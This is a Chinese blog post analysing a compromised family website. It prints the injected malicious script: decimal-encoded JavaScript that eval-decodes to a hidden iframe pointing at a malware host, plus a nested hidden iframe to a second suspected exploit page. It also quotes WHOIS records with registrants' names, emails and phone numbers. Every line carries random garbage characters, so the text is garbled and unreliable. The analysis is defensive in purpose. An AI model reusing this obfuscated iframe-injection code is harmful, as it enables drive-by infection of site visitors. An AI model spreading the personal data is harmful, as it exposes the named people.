首发在我的博客里面，
T8g$uFo %u'u kcL7 http://www.areway.cn/?p=175 6&x@.1('z 7:1Lol-V QWYJ * 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
m_]Y{3C
:F ?C)F <script>t=’60,105,102,114,97,109,101,
4B.*g-L 32,115,114,99,61,104,116,116,112,58,47,47,
vs4>T^8e 102,114,101,101,46,117,45,117,117,117,46,99,
'=pU^Oz<} 110,47,101,114,114,111,114,46,104,116,109,
3w'tH4C[Y 32,119,105,100,116,104,61,49,48,48,32,104,
Nf\LN$ &8 101,105,103,104,116,61,48,62,60,47,105,102,
o+' 6`g'8 114,97,109,101,62′;
0l6.<-f{ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
(<9u-HF# ]=BB# <script>t=’60,105,102,114,97,109,101,32,115,
[W&T(%(W- 114,99,61,104,116,116,112,58,47,47,102,114,
S9.o/mr 101,101,46,117,45,117,117,117,46,99,110,47,
77Dn97l)& 101,114,114,111,114,46,104,116,109,32,119,
7@Qcc t4A 105,100,116,104,61,49,48,48,32,104,101,105,
Z ECfR>`x 103,104,116,61,48,62,60,47,105,102,114,97,
e^voW "?% 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
<5051U Eu document.write(t);</script>
2+XA X: YD })%{AfDRF <html xmlns=”
h_'*XWd@ http://www.w3.org/1999/xhtml AwR =]W;j “>
&D<y X~ <head>
y9ZvV0 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
!a\^Sk
/ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
75lA%|
*X <title>首页 - 爱生活家庭网
N!}f}oF %N._w!N<5n 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
6gDN`e,@ 转换字符串后的大概内容是（谁点击后果自付）：
L4W5EO$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
R|(a@sL tw@X>
G1z 查询玉米u-uuu.cn的详细信息：
PJ#,2=n~ Domain Name: u-uuu.cn
~n_HP _Kf? ROID: 20070901s10001s64972306-cn
He@KV = Domain Status: ok
'&b+R`g' Registrant Organization: 王雷
jH:[2N? Registrant Name: 王雷
f o3}W^0 Administrative Email:
czlovexs@126.com ;uGv:$ ([g Sponsoring Registrar: 北京万网志成科技有限公司
:3 mh@[V Name Server:ns.yovole.com
+}AI@+
Name Server:ns1.yovole.com
pb,d'z\S Registration Date: 2007-09-01 17:54
;^L(^Hx Expiration Date: 2008-09-01 17:54
-~w'Xo # 最后PING了一下地址 都没有什么….
$??I/6 HoAy_7-5 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
2=}FBA, 2 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
[-w%/D%@ <script language=”javascript” src=”
y~V(aih}D http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *-X[u: >
%BODkc Zh 这个玉米应该有可能是木马作者的：
PA*5Bk="q foafau.info的详细信息：
"[N!m1i:{ Access to INFO WHOIS information is provided to assist persons in
; tf=gdX; determining the contents of a domain name registration record in the
DY*N|OnqJ Afilias registry database. The data in this record is provided by
E U#^7 Afilias Limited for informational purposes only, and Afilias does not
%C]>9." guarantee its accuracy. This service is intended only for query-based
!G|@6W` access. You agree that you will use this data only for lawful purposes
dO \"?aiD and that, under no circumstances will you use this data to: (a) allow,
l[J8!u2Xp enable, or otherwise support the transmission by e-mail, telephone, or
P+}h$ _x facsimile of mass unsolicited, commercial advertising or solicitations
j~MI<I+l[ to entities other than the data recipient’s own existing customers; or
WIGi51yC.x (b) enable high volume, automated, electronic processes that send
r JB}q YD queries or data to the systems of Registry Operator, a Registrar, or
Z_NCD`i; Afilias except as reasonably necessary to register domain names or
=_^X3z0 modify existing registrations. All rights reserved. Afilias reserves
a+QpM*n7Lq the right to modify these terms at any time. By submitting this query,
Ny# ^&-K you agree to abide by this policy.
Gc7=
Domain ID:D22418703-LRMS
'3;b@g, Domain Name:FOAFAU.INFO
q^nVN# Created On:20-Nov-2007 16:05:42 UTC
W,u:gzmhw Last Updated On:20-Nov-2007 16:05:44 UTC
wd 6owr Expiration Date:20-Nov-2008 16:05:42 UTC
&^nGtW%a 9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
vDvFL<`vmD Status:CLIENT DELETE PROHIBITED
nk:)j:fr Status:CLIENT RENEW PROHIBITED
hbn([+xY Status:CLIENT TRANSFER PROHIBITED
|W^IlqTH Status:CLIENT UPDATE PROHIBITED
X8\GzNE~R Status:TRANSFER PROHIBITED
<VE@DBWyl~ Registrant ID:GODA-040110615
dRMx[7jVA Registrant Name:liu hong
Wp,R ^d Registrant Organization:
pR_9NfV{ Registrant Street1:beijing
\2z >?i) Registrant Street2:
5zJq9\)d+ Registrant Street3:
KPk i}'GO Registrant City:beijing
CC`J Z.SO Registrant State/Province:
7EJ+c${e.- Registrant Postal Code:100000
Q b%J8juRf Registrant Country:CN
I^ ]nqK Registrant Phone:+86.860108888777
Vvo 7C!$z Registrant Phone Ext.:
6u%&<")4HP Registrant FAX:
4M T 7 `sr Registrant FAX Ext.:
|j|rS5 Registrant Email:bbbshiji@163.com
Gw` L" Admin ID:GODA-240110615
VEH>]-0K Admin Name:liu hong
m {}Lm)M Admin Organization:
9BB=YnKE Admin Street1:beijing
HOi`$vX }N Admin Street2:
P<-@h1p, Admin Street3:
TA\vZGJ(' Admin City:beijing
k: %%/ Admin State/Province:
q\ %I#1 Admin Postal Code:100000
A%vbhD2;W Admin Country:CN
{`_ i ` Admin Phone:+86.860108888777
+ T+#q@ Admin Phone Ext.:
OTv) Admin FAX:
\7_y%HR Admin FAX Ext.:
{RPI]DcO/ Admin Email:bbbshiji@163.com
V[V[ ~;Py Billing ID:GODA-340110615
SrJE_~ i Billing Name:liu hong
QV8g#& z Billing Organization:
-g<oS9 Billing Street1:beijing
n+p }\msH Billing Street2:
<Z W-QN4 Billing Street3:
XP}<N&j Billing City:beijing
~M$Wd2Th Billing State/Province:
G/W>S,( Billing Postal Code:100000
atzX;@"K Billing Country:CN
>Gu M]qn Billing Phone:+86.860108888777
.Y|!:t| Billing Phone Ext.:
$Kd>:f=A Billing FAX:
7$#u Billing FAX Ext.:
k f9X$d6 Billing Email:bbbshiji@163.com
; @X<lCk Tech ID:GODA-140110615
Bp{Ri_&A Tech Name:liu hong
bK7J} 8hH Tech Organization:
&3&HY:yF Tech Street1:beijing
g{LP7 D;6 Tech Street2:
H*6W q Tech Street3:
R-14=|7a- Tech City:beijing
#;S*V" Tech State/Province:
v^P O|Z Tech Postal Code:100000
NlXimq Tech Country:CN
1mJ Hued=6 Tech Phone:+86.860108888777
sRfcF`7 Tech Phone Ext.:
zeRyL3fnmb Tech FAX:
m+ 9#5a- Tech FAX Ext.:
;a3}~s Tech Email:bbbshiji@163.com
|a@L }m Name Server:NS27.DOMAINCONTROL.COM
hG rdtsH? Name Server:NS28.DOMAINCONTROL.COM
Zd& S @Z Name Server:
(' ~ LMu_ Name Server:
@nf`Gw ; Name Server:
|uDdHX8T Name Server:
`u\n0=go Name Server:
M%#e1 "n Name Server:
2qp#N% Name Server:
P 2Y^d#jO Name Server:
!9x} Name Server:
R-Sym8c Name Server:
TZ`SZDc7_ Name Server:
6:2vP
NF rlD8D|ZG 接着下载每个文件里面的代码：
V8(- 一步一步看..
pot~<d`:K" 
ce(#2o&` 
Ca\6vR 
,?3G;- 
E"0>yl) 
>d6| ^h'0 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
